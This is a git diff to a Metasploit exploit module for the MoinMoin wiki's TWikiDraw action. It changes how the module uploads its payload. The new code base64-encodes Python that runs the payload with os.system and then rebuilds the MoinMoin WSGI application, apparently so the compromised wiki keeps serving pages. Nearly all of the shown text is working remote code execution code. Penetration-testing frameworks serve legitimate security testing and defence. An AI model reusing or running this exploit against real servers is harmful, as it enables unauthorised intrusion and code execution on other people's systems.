diff --git a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb index 042de2e11a..6ee86236a9 100644 --- a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb +++ b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb @@ -217,7 +217,6 @@ class Metasploit3 < Msf::Exploit::Remote return true end - def exploit # Init variables @@ -250,7 +249,11 @@ class Metasploit3 < Msf::Exploit::Remote # Upload payload print_status("Trying to upload payload...") - python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))" + python_cmd = "import sys, os\n" + python_cmd << "os.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))\n" + python_cmd << "sys.path.insert(0, '/usr/local/share/moin')\n" + python_cmd << "from MoinMoin.web.serving import make_application\n" + python_cmd << "application = make_application(shared=True)" res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))") if not res fail_with(Exploit::Failure::Unknown, "Error uploading the payload")